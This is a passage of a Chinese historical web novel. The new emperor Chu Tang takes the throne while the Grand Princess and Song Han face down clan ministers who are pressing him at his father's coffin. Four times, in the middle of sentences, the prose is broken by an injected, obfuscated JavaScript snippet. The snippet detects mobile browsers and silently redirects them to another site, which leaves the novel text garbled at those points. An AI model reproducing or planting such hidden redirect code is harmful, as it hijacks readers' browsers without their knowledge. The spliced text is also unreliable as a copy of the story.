楚棠面露难色：“新政初立，或多或少，朕将有求于公主、宋侯，但朕亦不忍心二老多有劳累。” 宋蔺心定，拱手道：“臣替父亲母亲谢过陛下-体谅。” “上将军，现在可否回答王臬台的问题？”崔平陆笑问。 “陛下果真不再起用臣父母？”宋蔺追问。 楚棠点头：“当然。” 宋蔺承诺道：“既然如此，待父亲回到长安，我自当回府与他们商议世族之事，为陛下解忧。” “三叔，你可知道蓝田大营的兵士都盼着与舅公一见？”楚棠调转话头。 “臣知道，他们对我多有怨言，等父亲回来便可告上一状。”宋蔺毫不气恼，因他知道，唯有营中怨言不断，他才能不受君主猜忌。 “那朕该不该同意？” “臣以为，登基大典后可准父亲回营一见，其余时候，最好是不闻不问了。” 谁都知道宋蔺有私心，但都勘不破他私心为何，以至于如此防备父亲。 王山遥沉吟片刻：“臣赞同上将军之言。陛下，宋侯在军中一呼百应不是坏事，但也不是好事，只有宋侯不过问，上将军才可放手治理军务。”在朝臣眼中，宋蔺当得“一心为公”四个字，以宋制宋，方为上策。 楚棠只是点头，心有成算，却又问：“城外已有精兵驻扎，世族老臣却仍与朕对峙，诸位说说，该如何应对？” 宋蔺道：“此皆因军中中上层将领多为世族子弟，无论如何，血脉相连，不至对亲族操戈相向。臣想过，可将世族将领暂且换下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120131|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不论提补后进或安排新人都好，免得用时疑令不从，无法与城内驻军策应。” “也好，只是眼下哪有那么多可用之人？”楚棠继续出题。 王山遥推脱道：“臣不通军务，还请崔将军细细谋划。” 崔平陆思忖良久：“臣预料，宋侯最慢七八日内到达长安，届时世族老臣必以军制改革为由，转求宋侯出面对抗陛下。人不至，心意不明，不论宋侯帮哪头说话，大军都应立即进入备战状态，将粮草辎重运达城外，以备不时之需。上将军意在更换中上层将领，可以从北衙选调，但最重要的是，要先细细筛选入选将官底细。人多繁杂，却由谁去掌眼？” 三人自然而然地将目光转向王山遥，忙中取静，心细如发，只有他了。 两日之内，王山遥得宋蔺襄赞，将城外驻军的上中下层将领尽数见了一面，单单是闲话家常。凭借多年的刑名经验，简单将人分为“可用”“不可用”两类，可用者着即提拔，不可用者仍留在营中听用，以免走漏风声，同时从北衙调任平民出身的将领暂居其位。 头几日军中略有不满，好在位置安插得当，一道诏命下来，军士尽都听调听宣了。有此成效，王山遥便如法炮制，赶在宋邯抵达长安以前，尽可能地，将蓝田大营中较为重要的几营将领都换成了效忠新君的人。 又过一日，宋蔺火急火燎地打马出城，迎接父亲回到长安，同时与父母一同谋划平息世族老臣之乱象，计划一经敲定，即命人入宫传讯。 楚棠闻讯精神大振，随之而来的，就是和世族老臣的博弈了。 翌日清晨，楚棠楚棣跪坐于梓宫前，双双昏昏欲睡，殿外传来内侍的高喊：“镇国公主、九原侯归祭！” 二人猛地跪直，四目相对，既忐忑又兴奋。楚棣扶起楚棠，准备出门相迎，这时内侍林华匆匆进门，低声道：“陛下，世族老臣也都来了。” “噢，他们什么说法？” “气势汹汹的，大有逼宫的意思。” 楚棠心中一动，招招手，对楚棣悄声叮嘱了两句，当公主和宋邯走上白玉台阶时，兄弟二人已走出殿门，待走近才深深一躬，异口同声道：“楚棠、楚棣拜见姑祖母、舅公。”多少年来，他们都是这样各论各的。 公主微微一点头，以示免礼，宋邯只是拱手：“老夫何德何能，敢受我朝新君一拜？” 楚棠面泛愁容，谦卑道：“舅公返回长安，楚棠未能倒履相迎，已是有失礼数，心中不安。今日一见，还请舅公不计前嫌，为楚棠解难。” “老夫一定知无不言，言无不尽。”宋邯答道。 楚棣上前扶住公主，由得楚棠和宋邯寒暄，四人一并往甘露殿走。窦皇后、如意、太子妃等十几名女眷，身穿孝衣，头缠孝布，俱在梓宫右侧跪灵，见得公主和宋邯入内上香祭奠，都在太监的喊声里深深伏跪在地。 26. 琵琶弦上 窦文君记事时，父亲已是清誉满天下的凤阁阁员，十年累迁至中书令，后加授“同中书门下三品”，职同宰相，深受皇帝信任，朝中文官多出其门下，或为拥趸，为巩固皇权的不二人选。 其时，宋邯好战，长年累月在外打仗，需得足足的粮草军饷，为此增加赋税，民不聊生。镇国公主为拉拢反战的清流文官，为出征减轻阻力，几番思虑后，极力促成了楚繁和窦文君的婚事。 原想小夫妻俩相敬如宾即可，却没料到，他们一见钟情。有窦文君解忧后，楚繁与他们日渐离心，此后几年里，疯狂扶植文官夺权，后来太子楚棠开始听政，镇日受臣属调唆，更不与他们亲近。 为巩固军权，修复舅甥情份，宋邯和公主做了此生最大的一件错事——以“清君侧”为由，将天子近臣一并坐法处死。 左右羽林大将军卢羲与宋邯不睦，贬官岭南，因其不敬公主，案件再审时，获罪刺配，不久于途中暴毙身亡，举族没籍为奴，遗腹子卢绾受天子庇护，留于宫室。 其余人更不消说，腰斩弃市者，诛三族者，举族刺配、没入奴籍者，逐出长安者，数不胜数。 窦阁老朝不保夕，只得听从学生建议，辞官携一家老小返回原籍，这才保全窦皇后与东宫。 归隐年月，他并没有闲着，在幽州屯田播种，储蓄粮食，与商人往来，为东宫敛财，同时在科举中为东宫择贤，比如王山遥，便是被一眼看中又以婚事绑定的一员干臣。 除此以外，他还与楚繁一起谋划复仇，成功除掉了公主和宋邯的两个儿子，因做得隐秘，至今宋邯还以为是自身过错致儿子横死。 可叹这世上，因果循环，报应不爽。若有莫名其妙的事，往前细想，必有前因，方得后果。 窦文君修“中庸”之道，谨守本分，善于斡旋。在夫家娘家之间，在后宫前朝之间，仅有方寸可供回旋，但即便如此，她亦不曾得罪一人。 她不是完人，可是人生交与她的，如自我、女儿、妻子、儿媳、母亲等种种角色，她都塑造得极好。 在窦家没落那段最苦涩艰难的岁月里，她也不曾给儿女灌输仇恨，她真心侍奉婆母和姑母，真心尊重舅父，平息丈夫与他们的争端。因她那时一心所盼，不过是丈夫和儿女喜乐平安，至于政治心愿，都寄托于“但有余力”上面。 为人如此，当得“面面俱到”四个字，不论臣工后妃，连公主和宋邯都敬佩她，故而，即使与窦家有隙，也不曾为难于她。 多年来，窦皇后都静如泉水，是个没有“喜怒哀乐嗔恨”的人，此时却跪在地上，泪眼汪汪地喊：“姑妈和舅舅可来了。” 镇国公主神色平淡，叹息道：“文君，快起来吧。”说完就有两个宫人去扶。 窦皇后顺势起身，恭敬地站在公主面前。 楚棠走来，对她道：“母亲连日操劳，何不让阿碧扶您回去休息片刻？”然后回身做个请的样子，“此地不宜深谈，请姑祖母和舅公入内一叙，楚棠有满腹疑问。” 崔成碧对楚棠微微一躬，便扶着窦皇后向殿外走去。镇国公主瞥见梓宫下的如意，抬手唤道：“如意，你随姑祖母来。” 如意起身，一行人进入侧殿落座，宫人很快端来热茶汤和几样点心，以充早膳。 再次回到长安，坐进甘露殿里，让公主和宋邯不约而同地，把将来种种都想透了，等到楚棠坐稳帝位，他们和庙堂的缘分就真的尽了。 想当初，楚繁是一个天真稚子，年复一年，在他们的威压下长成了虎狼之君，变得几近疯狂，为了夺权，生出许多血流成河的变故。 楚棠不一样，他是某人梦中怀抱一轮红日而生，他的光茫会照耀，甚至炙烤这片土地，后来他长大了，如朝野想象的那样早慧、谨慎，狠辣而不自知。并且他是在一刻不停地争斗中成长起来的，无论如何，不会步他父亲的后尘。 在前事未消的情形下，他能先后派人说动公主和宋邯，足见其术治纯熟，所以他们见到楚棠，自觉圆滑谦卑许多。 见宫人退下，楚棠方才请教：“世族老臣已经逼至宫门，姑祖母和舅公可有成算？” 二人来时已有成算，宋邯不假思索道：“对付世族要做到软硬兼施。其一，表明推行新政之坚决态度，绝不退让，必要时可以杀鸡儆猴。其二，世族担心的是军制改革会动摇其根基，此矛盾由来已久，断难解决，不过推行初期可以承诺不裁撤其族人子弟，但后续任命要以考核成绩为准，尽量将世族有人望者架至高位虚衔，再慢慢推倒。其三，世族欲以公主为刃，逼迫陛下妥协，只要陛下愿意站在公主身后，万事皆可平息。” 宋邯所用周旋之策，显然不站在任何一边，甚至，楚棠从最后一句话中听出些许敲打的意味。 楚棠会心点头，抬头却是满脸悲凉：“楚晋有五姓七望，人才辈出，而今关头，却只有崔、王两家忠心为国，其余各族皆以公谋私，楚棠心里不是滋味。” “陛下不必难过，世族即便要翻天，也得先找到能够拥立之人。论嫡庶，陛下是嫡长子；论能力，诸皇子中无一人能比。然则，老臣有句掏心窝的话要说，请陛下不要见怪。” “舅公请讲。” “陛下年轻心急，监国时，推行新政就太过苛刻急促，使得朝中人人自危，才酿成今日之难。往后需得记得‘苛政猛于虎也’，年深日久，必使人怨愤沸腾。如眼下情形，陛下眼熟否？” “请舅公详解。” “昔日申不害在韩国变法，推行初期大肆杀戮反对变法的世族臣工，使得计划能够推行，大刀阔斧三十七年，攒下家底，可是结果怎样？内部政治动荡，矛盾频生；外部强敌环伺，魏惠王举一国之力攻打新郑。后来申不害和韩昭侯相继离世，新君上位，变法即刻宣告失败。难道陛下甘心用尽一生之力，只为重复申不害的命运？” 法家诸学派中，楚棠最推崇的就是申不害，宋邯这一番话，无异为他敲响警钟。故而他思忖片刻，虽有不服，却合抱双手深深一躬：“楚棠明白了，多谢舅公教诲。” “陛下，此乃公主所言，老臣代为转达而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120132|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已。”宋邯立即说明根源，公主不禁一笑。 楚棠得了这三策，且不需自己出面，心里不知道多美，但一细想，就觉出事情不会如此简单。公主从不做无利之事，今日，却在图谋什么？ 他不明白，转身向公主一躬：“姑祖母不计前嫌为楚棠谋划，真叫楚棠羞愧难当。往后姑祖母若有用得着楚棠的地方，尽管开口。” 公主展颜一笑：“姑祖母老迈，无法像你们年轻人那般结伴出游，寻常总是孤单，要是有人陪我，十分好了。” 楚棠迟疑道：“姑祖母的意思是，让舅公留在长安荣养？” “这就要看陛下的意思了，姑祖母不强求。”公主的目光在众目睽睽下，落到如意身上，“陛下知道，姑祖母膝下无女，虽有孙女黛黛，却正是闹腾的年纪，讨人嫌。今日见到如意，觉得很好，很亲近。不知陛下可舍得妹妹来姑祖母府上长住？” 如意正在吃糕，闻言惊得打个激灵，然后竟仔细思考起来。 她深知自己不是娴静端庄的人，虽喜欢姑祖母，但若去府上陪伴，那必是呆不住的。然而她又满心佩服姑祖母，女流之辈，能够翻手为云，覆手为雨，故而她也曾想过，要成为姑祖母。 机会就在眼前，她只为自由的缘故，有些犹豫。 楚棠楚棣自然知道，这是要妹妹入府为质的意思，偏这丫头听不懂，竟还高兴呢。要是真把如意讨走，母亲那关首先过不去，再是心性，万一受到影响，楚晋莫不是要出第二个镇国公主了？ 这险冒不得。 二人眼神一对，楚棣立即起身拱手：“姑祖母容禀，父亲逝世，母亲难过得紧，需得妹妹陪伴身侧，聊以安慰。再则，妹妹自幼娇蛮任性，恐侍奉不周。姑祖母如不嫌弃，棣儿愿意入府陪伴，以尽父亲未尽的孝道。” “如此甚好。”楚棠帮腔。 如意还没想好，闻言扭脸盯住楚棣，心有不忿地腹诽，棣哥哥讨厌鬼，不让去就不让去，干嘛说人家不好。 “人贵年少，棣儿正是建功立业的好时候，再说，陛下不是已经将你托付给众将军了吗？姑祖母要是答应，反而耽误你了。” 楚棣知道没有转圜的余地，只得作罢，失落地坐下。 公主扭脸笑道：“如意可愿陪伴姑祖母？” 如意连连点头，一派天真：“那我还能去青龙寺清修吗？” “当然可以，姑祖母会陪你一起去。” “啊！”如意面露难色。 “难不成我们如意公主要立地成佛了？” 骤然之间，如意打消了要去青龙寺的念头，努努嘴，自嘲道：“如意贪恋红尘，不过人间一个俗物罢了。” “嚯！”楚棠笑了一声，“是谁给咱们妹妹受气了？” 如意满面红霞：“没有......我自己这么觉得。” 觉得归觉得，她从不认为“俗”有什么不好，人生在世，要是无三五俗事做乐，那活着也没甚意思。 而她眼下最有趣的事，是引诱一个僧侣回到凡尘。 27. 曳鼎 小女儿的心事藏不住，当即被看了个透。 楚棣心中一动，揶揄道：“那青龙寺的大和尚此刻就在宫中，等今日事了，二哥也去同他们学学诵经祈福，祛祛这满身俗气。”说罢，端起热茶喝了一口。 如意却不依，生怕那超凡绝逸的师兄被看坏了。 “棣哥哥，你要敢去，我就再也不理你了。” “那你就不理我吧！” 众人大笑不止，如意跑到镇国公主身边，娇声道：“姑祖母，你看棣哥哥多讨厌呢！” 未及镇国公主开口，内侍入内传话，世族老臣已至殿外。一众起身走到外殿，在梓宫前站定，世族老臣则分列在殿门的左右两边。 原本嘈杂的大殿顷刻间静得落针可闻，世族以宰相裴琰为尊，太常寺卿郑渊为实际领袖，其高足尚书左仆射谢佐为联络中枢，自圣人驾崩便四处奔走，将定居长安的世族都聚集起来，图谋功勋爵位，甚至皇位。 东宫羽翼未丰时，世族中就多有子弟投诚。一开始，君臣所求相同，齐心协力，其乐融融，后来圣人病重，东宫大行监国之责，毫不掩饰地着手改革旧制，便与世族离心了。 自那时起，以裴琰为尊的世族就开始酝酿今日之变，可叹圣人子嗣单薄，一生心血尽付与东宫，一时之间，世族竟找不到能力上佳而好军务的主君，因此错过了夺嫡的最佳时机。 待到东宫羽翼丰满，世族才幡然醒悟，将目光对准镇国公主。血脉上，公主是太宗爱女，在武德殿中长大成人，虽未受封太子，但一向有太子之尊；能力上，公主执政三十载，文治武功均属上乘，在朝中毫无异议；私心上，驸马和世子都是当世名将，擅军务，一生奉献军中，自然而然，公主即位不会再行军制改革。 并且国史记载：太宗病入肺腑，未立储，召皇叔胜密谈，其时感慨：“天生我女，文治武功皆远胜须眉。朕去了，为大晋立一女帝何如？” 皇叔胜思虑良久，肃然答曰：“原已开府成亲，入宋氏宗祠，若无子嗣，胜自当赞同，来日倾心辅佐，共襄盛世。今原育有一子，驸马宋邯野心勃勃，不容小觑。故胜以为，不可冒险，当立嫡长为安。” 太宗听从皇叔胜建议，在诸般考虑后，将最仁懦的皇五子昭立为太子，并许爱女参赞国政，赠随身长剑，以彰显威权。 昭登基为帝，外戚与宰相强势，争权夺利，事事贬低教训，故昭将政务悉数假手于公主，公主联合皇叔胜，先将外戚架空、而后清洗，对宰相逐步蚕食，最后流放驱逐。 自那时起，楚晋老臣中多有人将公主视为主君，他们心底有共同的声音：男君不行，拥立女主。 最令世族欣喜的是，如今公主年事已高，登基后不会执政太久。而那段时间，足够世族挑选下任君主，待公主百年，将宋氏一族赶尽杀绝，再拥立楚氏新君即位，便可延续楚晋世世代代的荣耀。 可惜已经晚了。 自世族老臣齐聚公主府开始，镇国公主就深知自己又有机会登上帝位，但她清醒着，没有被至高无上的权力冲昏头脑，也没有听之任之被推到台前。 说好听些，她已知天命不在，即便登基为帝，留给她为后人铺路的时间也不多了。楚晋老臣是狭隘的，他们对楚姓有深入骨血的拥戴，宋蔺身体里流着她的血、跳着她的心，可是他姓宋，哪怕改为楚姓，也难逃将来被篡权砍头的命运。 她不会也不能，因为一个宋蔺，将世族老臣诛杀殆尽，因世族才是楚晋一朝的根本，可以松土剪枝，但绝不能连根拔起，除非，想灭国了。 说难听些，她的心气散了。她这一生金尊玉贵，权势滔天，原以为此生都将平安地在宦海沉浮，可是头生的两个儿子横死沙场，给了她致命的一击，将近不惑之年才意外生下宋蔺。这孩子不像家里的任何人，他心窍未开，不通人情，入朝为官都极勉强，何谈为帝？ 她早已想开了，爱子要爱生命幽微处，不寄厚望，愚鲁何妨？无灾无病直至终老，便是最好最妙的一生。 甘露殿已寂静多时，看样子，世族老臣们都已经知道，公主不会和他们站在一起，但他们绝不死心，因为在新君即位以前，庙堂权力是最容易倾覆的。 目下，他们能够借题发挥的只有三点： 其一，陛下驾崩时，身边只有楚棠楚棣和窦皇后，这一家子，如何证明没有弑君？ 其二，新君即位，当由哪些大臣担任辅佐之责？无凭无据，难不成少主一面当国。 其三，改革军制要削爵贬斥收回封地否？ 果真都有应对之策，他们尽心辅佐也不无不可。 躁动与不安在空气中弥漫开来，众人的心都高高悬起，等待着有谁能打破这种沉默，好让他们可以放声讨论。 正在这时，门外传来一阵急促的脚步声，夹杂着甲胄和兵器碰撞的脆响，不过片刻，全副武装的龙武军便将甘露殿控制起来，包了个里三层外三层。 世族老臣们讶异不已，现任龙武军大将军正是裴氏子弟，如何会做此举？故而都不约而同地望向宰相裴琰。 殿中更静了，久不等将领入殿回话。 见势不妙，太常寺卿郑渊悄然挪到裴琰身边，耳语道：“裴公，这是何意啊？” 宰相裴琰已是耄耋之年，清瘦矍铄，须发皆已全白，是世家河东裴氏第一人，历经三朝，深得器重，门生故吏遍布朝野，族中子弟尽皆芝兰玉树，尚宫局裴念元，正是他的小孙女。 今日他站在此处，并非实心与新君为难，而是皇帝驾崩前后的两件事，让他感到失落和不快：一则，皇帝驾崩前，不曾宣召他入宫陪伴。二则，是皇帝驾崩后，太子不请他入宫密谈。 这让他似乎落到与其他官员一样的境地。 进入庙堂以前，裴琰已是当世知名大儒，四处讲学，颇有名望。一次他在崇文馆与诸家学子论道，遇太宗微服私访，深受其治世观点触动，当即命其入阁，不久拜为宰相，深受礼遇，直至今日。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120133|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 何曾受过这般冷落？ 正叹着人走茶凉，郑谢二人便上门游说，起初，裴琰想明哲保身，可是经过一番对新政的梳理，他发现里面有好几条削弱世族的条陈，一旦实施，会让裴氏向下滑落，这是他绝不能容忍的。 如此一来，早有苗头的种种担忧迅速放大，他下定决心要给东宫吃个挂落，但也绝不大打明牌。 此刻，他虽与郑渊有相同的困惑，却不露声色地，淡然一问：“太常卿与东宫素有往来，不知这是何意？” 这一问，既有不满又有反击。太常寺卿品秩虽高，但是个清闲位置，等闲不钻营投机，恐怕一身本事终身难以施展。若非郑渊投靠东宫不成，大抵不会站在这里。 郑渊发问，完全是出于事态发展超乎意料，毫无质问质疑。可是裴琰却实实在在是在下他的面子，这让他感到委屈，碍于情面，只得悻悻拱手告罪。 这时卢绾进殿复命，世族老臣们见状，纷纷省过神来，闹闹哄哄地，但都明白了，是他、只有他，可以凭借先父卢羲的威望，越过裴大将军去调动龙武军。 尚书仆射谢佐立刻凑过去，拱手请教：“恩师，大将军恐有不测，我们眼下该当如何？” 裴琰一张老脸沟沟壑壑，登时涨得通红，但见他有怒而开口的意思，众人迅速聚去，都存了满腹疑问，大多为“公主为何拥立东宫”、“世族是否还要争取公主”云云。 眼下公主就站在这里，当面争取自是不能，故只好等裴琰这位资历极深的老臣先起头，再同声相应。 不料裴琰思忖片刻，神色已恢复如常，并不回答郑渊的问题，只拱手高声道：“陛下驾崩，东宫即位名正言顺，诸位连日所疑，无非公主如何如何。此刻公主就在眼前，我等听从公主号令，不要多言。” 此言老道，前一句公主，后一句公主，瞬间将焦点转移到公主身上，还有谁会关注他做了什么？ 楚棠楚棣明知是挑拨，却都不由自主地望向公主，不过片刻又收回目光，只是，看似一致，二人心中所想却大不一样。 公主宋邯那头，自然知道楚棠疑心深重，但听裴琰这么说，便料定他没下定决心要反，反而松一口气。 世族纷纷高声呼应：“裴相所言极是，我等听从公主号令。”既已立起靶子，就都明枪暗箭地朝靶心射去。 “新君登基大典该由公主主持。” “公主当重回庙堂，辅佐新君，以观新政发展。” “对！新君当如先帝一般，与公主共理国政。” 卢绾一摆手，龙武军士便以长枪击地，以震慑世族，但却不奏效。堪堪安静片刻，一众又热火朝天地“拥戴”公主，实际上，字字句句都在挑拨公主与新君，露骨地要将他们逼上绝路，直到无法共存。 公主沉默良久，忽地肃声道：“静。” 话音未落，殿内已无声。 少顷，公主喝令：“文武百官列位站定，恭请新君即位——” 28. 曳鼎 正面表态，犹如晴天霹雳，骤然间将满殿世族元老劈了个面色焦黄，一众怔住片刻，而后左顾右盼，眼神相交，再一齐垂下脑袋，挪动灌铅的双腿，列位站定。 内侍总管景深自内殿走来，身后随一队手捧镀金托盘的年轻内侍，在大殿正中站定，他自托盘中拿起圣旨，高声宣读： “皇太子棠，因朕梦日而生，孝惟德本，识冠生民，智韫机深。熟达机务，凡军政百事，深肖朕躬，群公卿士，讴颂有加。 夫治国安邦，应从法度，上行下效，勿有疑滞。政制变革，应适天道，随事改易，利在富国强兵，安定民生。 式固宗祧，今传皇帝位於棠，着即柩前册授。公卿百官，庶民百姓，宜悉祗奉，以称朕意。 布告天下，咸使知闻。” 在遗诏未宣以前，世族老臣对于即将到来的新君和改革，尚能自欺地保有一种天真的期待，但就在此时此刻，这种期待被最后一道冰冷的君命打碎。 先帝没有赐予任何老臣辅佐之权，这意味着，新君可以随时随意结束他们的政治生命，兢兢业业几十载，只为王朝兴盛，到头来，仍如旧时所言“一朝天子一朝臣”，就将他们抛弃在旧时代。 谁都明白，在特殊时期，谁令人心归顺，谁能号令千军，二中只需得一，就可成为天下之主。 镇国公主，这个二者皆有的人，是他们唯一的希望。 此刻，她站在众人之中，尽管手无寸铁，老态龙钟，但奇怪的是，就连满身寒光的龙武军，也比不上她满含智慧与悲悯的目光更令人生畏。 阴谋被一举击溃，悲痛如潮水一般，席卷而来。再一想，不敬之罪、离间之罪，一并犯下，世族老臣们想来想去，只好庆幸法不责众，毕竟罢官贬黜总比掉脑袋要强。 众人但凭本能，三三两两地伏跪在地，同时山呼：“恭迎新君即位！陛下万岁万岁万万岁！” 经此一变，裴琰意识到，自己的政治生命已经走到尽头，故而决定，待先帝入陵便辞官归隐，以保族中子弟上进之路。 他深知，自己的政治理想永远不能亲自实现了，但幸运的是，他有一个继承人——他的小孙女小九，器质冲远，内圆外方，深得新君与窦太后青睐。私下不少同僚都曾夸赞，小九若为男子，当是入阁拜相的好苗子。 裴琰听见，往往一笑置之，因为他清楚：权力场中能者居之，性别的沟壑可以用能力填平。而他有信心，假以时日，小九的能力足以打破世俗的偏见。 故而，他产生了一个惊世骇俗的念头：他要以毕生精力，为大晋培养一名女宰相。 忽闻太常寺卿郑渊高喊：“镇国公主拥立新君，当与新君共治天下！”离间之心犹未死也。 世族老臣皆望向裴琰，见其面如土色，心如死灰，都不敢高声呼应，于是那声音越来越低，最后化作一种幽深的不安和恐惧，在殿中环绕，渐渐地，将所有人吞噬。 就这一句，让宋邯受不了，顺手从最近的龙武卫腰间抽出长剑，怒而大喝：“郑渊何以挑拨离间！公主既拥立新君，又岂有觊觎天下之心？再敢出言不逊，休怪宋邯手中汉剑饮血！” 殿中登时鸦雀无声。 在开口以前，太常寺卿郑渊已经想过，哪怕宋邯发怒，只要不指名道姓，他就可以装傻充愣到底。 可谁知道，宋邯竟挑明了！郑渊毫不怀疑，此时哪怕再多辩白一句，他都会血溅当场。 世族老臣们见状，同心地沉默了，同时放下对公主和新君的挑拨。 他们心知肚明，楚原此生作为帝国公主的骄傲，皆来自世族发自本心的供奉，因此，她生气归生气，决然不会屠戮世族老臣。 宋邯不一样，他出身陇西小世族，本是殿前值守的千牛卫，得益于一副好皮囊，尚公主，再经外戚上位。 年轻时，世族老臣对他多有轻慢，讥讽他是小白脸、老兵头。后来他建功立业，出将入相，剑履上殿，世族仍与他几多摩擦。谁也不服谁。 多年恩怨深似海，今日，他们终于让宋邯找到机会，可以毫无顾忌地拔剑相向。任谁都能想到，若有人再敢非礼公主半句，他定会大开杀戒，以公报私。 地上有人轻轻啐了一声，为避□□血，郑渊把身子伏得更低了，“臣思虑不周，请公主责罚。” 镇国公主镇定自若，丝毫不为这插曲分心，单是摆了摆手。而后景深高声道：“新君册授，始！” 随着喊声，镇国公主转身回到梓宫前，拿起内侍托盘中的柳枝，沾了清水，朝一身孝服的楚棠头顶心轻轻一洒，以充作净化，两名内侍随即为他披上龙袍，系上蹀躞，挂好玉佩，再由公主亲手为他戴上冕旒，冠带仪式就此完成。 殿中众人再次山呼：“陛下万岁、万岁、万万岁！” 十二帘白珠微颤，隐匿起珠帘后锐利的目光，这让楚棠感到安全，故一反常态，很好气地说：“诸位爱卿免礼。” 待众人起身站定，他又平静坚定地道：“诸位大臣，父皇因沉疴宿疾骤然崩逝，未及申明身后之事便传位于棠，世族老臣不安，皆起于整顿军制，今朕申明朝野：其一，依循周礼，军国大事，不可停阙，故属纩之后，七日便殡，由太常寺卿郑渊和祠部侍郎王诗博主持国丧。其二，阁员守孝三日便出，各司其职，寻常闲务，任之有司。其三，皇二子棣忠心辅国，今封为襄王，开府建衙，满孝除灵即入蓝田大营，由上将军宋蔺自行安排。” 万幸没有任何关于新政的消息，世族老臣们都长长地松了一口气，但是敏锐的几个还是发现了，向来游心恬淡的二皇子棣，即将进入庙堂，成为新君的左膀右臂。 “襄”字主辅佐之意，再加以“棠棣同馨”，就更加让人笃定，新君对他寄予厚望。 他虽无功业在身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120134|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，但自身的风猷昭茂是无论如何伪装不了的，那心思活泛些的，已在考虑如何让自家闺女或妹妹入襄王府、做襄王妃了。 楚棣但觉受宠若惊，没想到他会如此迅速地兑现承诺，连忙跪下，高呼：“臣谢主隆恩！” 细想之下，才明白自己只是一颗喂给世族的定心丸，立他为王及送入军营，表示世族利益仍然受到维护，以此减少掌权的阻力。 楚棠示意免礼，同时经过他，走到裴琰面前，十分恭敬有礼：“裴相年迈，朝中事务繁杂，桩桩件件皆要裴相过目经手，楚棠实在不忍心，故而暂未授以事务，请勿介怀。” 裴琰闻言，非但没有垮脸，反而因正中下怀而感到轻松，立刻躬身谢礼：“老臣深谢陛下-体谅。” 楚棠惊讶道：“裴相免礼。朕意，国丧期间，再有不安于室者，三品以下，裴相可便宜行事。” 天子守丧，不过二十七日。可就是这短短的二十七日，让裴琰感到窝心，几乎老泪纵横，颤声道：“老臣领旨。” 世族老臣们接连失去两根主心骨，登时都清醒过来，新君刻薄，趁他眼下愿意安抚退让，他们也该见好就收，找到退路，免得再闹下去祸福难料。 自楚棠监国以来，朝臣多评价他：君猷上佳，私德不修。这让他感到可笑，为人君者，私事亦是公事，如何能做到公私分明？ 譬如说，他娶妻，本是彻彻底底的私事，可是他的妻，要先做太子妃、后做国母，一举一动都受到百官公卿审视，这便意味着，他的婚姻其实是一桩公事，既是公事，就不能依个人喜好而定。 十八九岁，正是他荒唐不羁的时候，深陷于政治漩涡和一种莫名的单恋情绪，终日惶恐，失眠多梦。那时，父亲的病症开始显现，为稳固东宫之位，他与卢绾千挑万选，费劲心机，终能博得博陵崔氏女一笑，心甘情愿为太子妃。 尽管他是太子，但他一直都承认，这桩婚事令他终身受益。 在他心里“公私”的边界，是在这件事上打破的——在婚后的相处中，他爱上了崔成碧。这是他此生为止最大的幸运。 尝得“公私不分”的甜头后，他再不肯以私心思考了。 如今日这般，要是依他的私心，那就该血洗甘露殿，但他制住了私心，通过对楚棣、裴琰、郑渊的任命，暂时安定世族，这是他以“公心”考虑得到的，最温和恰当的处理方式。 他爱他的父亲，但他也曾无数次想象自己的登基仪式，该是多么庄严盛大——文武百官将在太极殿内对他叩首称臣，口呼“万岁、万岁、万万岁”，直到钟声停止。 总是天不遂人愿，想象当中的场景没有出现，反是这场简单到潦草的仪式，让满殿臣工匍匐在他脚下，给予他一位帝王应得的尊重。 他兴奋极了，也累极了。环顾四周，见始终没人开口议事，连问都不问，就说：“散朝。” 29. 寻常事 内廷在第七天解禁。 丧仪结束如此迅速，是魏缨始料不及的。 依照魏缨对周礼和现今朝局的了解，以为摆平世族至少要用到十四天，先帝才能入陵，后来她通过熟识的小黄门打听到，太极宫三天前就已恢复如常，至于内廷么，是无故耽搁的。 